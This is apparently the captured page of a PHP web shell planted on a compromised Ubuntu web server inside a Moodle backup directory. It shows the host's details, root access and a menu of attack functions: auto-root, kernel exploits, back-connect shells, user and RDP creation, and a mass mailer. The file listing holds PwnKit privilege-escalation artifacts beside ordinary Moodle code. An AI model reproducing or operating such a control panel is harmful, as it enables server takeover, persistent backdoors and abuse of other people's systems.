Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
blocks /
community /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxr-x
db
[ DIR ]
drwxrwxr-x
lang
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
yui
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
block_community.php
3.97
KB
-rw-rw-r--
communitycourse.php
8.71
KB
-rw-rw-r--
forms.php
7.75
KB
-rw-rw-r--
locallib.php
2.75
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
20.2
KB
-rw-rw-r--
styles.css
7.66
KB
-rw-rw-r--
version.php
1.15
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : locallib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Community library * * @package block_community * @author Jerome Mouneyrac <jerome@mouneyrac.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL * @copyright (C) 1999 onwards Martin Dougiamas http://dougiamas.com * * */ class block_community_manager { /** * Add a community course * @param object $course * @param integer $userid * @return id of course or false if already added */ public function block_community_add_course($course, $userid) { global $DB; $community = $this->block_community_get_course($course->url, $userid); if (empty($community)) { $community = new stdClass(); $community->userid = $userid; $community->coursename = $course->name; $community->coursedescription = $course->description; $community->courseurl = $course->url; $community->imageurl = $course->imageurl; return $DB->insert_record('block_community', $community); } else { return false; } } /** * Return all community courses of a user * @param integer $userid * @return array of course */ public function block_community_get_courses($userid) { global $DB; return $DB->get_records('block_community', array('userid' => $userid), 'coursename'); } /** * Return a community courses of a user * @param integer $userid * @param integer $userid * @return array of course */ public function block_community_get_course($courseurl, $userid) { global $DB; return $DB->get_record('block_community', array('courseurl' => $courseurl, 'userid' => $userid)); } /** * Delete a community course * @param integer $communityid * @param integer $userid * @return bool true */ public function block_community_remove_course($communityid, $userid) { global $DB, $USER; return $DB->delete_records('block_community', array('userid' => $userid, 'id' => $communityid)); } }
Close